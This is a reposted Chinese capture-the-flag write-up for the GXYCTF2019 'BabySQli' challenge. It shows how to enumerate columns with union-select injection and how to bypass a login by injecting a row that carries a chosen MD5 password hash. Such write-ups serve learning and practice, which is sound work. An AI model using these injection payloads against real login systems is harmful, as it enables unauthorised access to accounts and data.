zoukankan      html  css  js  c++  java
  • [GXYCTF2019]BabySQli

    0x00 知识点

    emmm这道题目就是脑洞得大,能猜后端源码

    0x01 解题

    查看源码:
    base32,base64解码得到

    select * from user where username = '$name'
    

    提示我们 要从 username 入手我们查看下 他有几个字段
    得到字段为3:

    admin' union select 1,2,3#
    

    我们开始常规注入:

    admin' union select 1,2,3#
    

    这里提示wrong user,用户名错误,猜测为admin
    我们把admin 放到第二个位置 不报错
    得到第二个字段就是我们的username字段

    admin' union select 1,'admin',3#
    

    这里看网上师傅博客,有md5提示,我并没有看到--

    于是我们便可以去猜测 它的后端是怎么写的:

    
    <?php$row;
    $pass=$_POST['pw'];
    if($row['username']==’admin’){
    if($row['password']==md5($pass)){ 
    echo $flag; 
    }else{ echo “wrong pass!”; 
    }}
    else{ echo “wrong user!”;}
    

    就是 我们的sql语句执行时,passsword字段中的内容要==md5(我们密码栏输入的password)然后我们便随便找个 密码 就123吧:

    明文:123md5 : 202cb962ac59075b964b07152d234b70
    于是我们便构造这样的payload:

    username栏:

    
    0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#
    

    password栏:123456
    登录便可以得到

  • 相关阅读:
    对生产稳定的一些思考
    tsar指标解释
    tsar采集nginx指标
    Nginx如何处理一个连接
    Java : 如何更优雅的设计异常
    MySql的索引实现
    IntelliJ Idea 常用配置
    ICSharpCode.SharpZipLib.dll 压缩、解压Zip文件 附源码
    Java BigDecimal使用
    社交系统中用户好友关系数据库设计
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12292414.html
Copyright © 2011-2022 走看看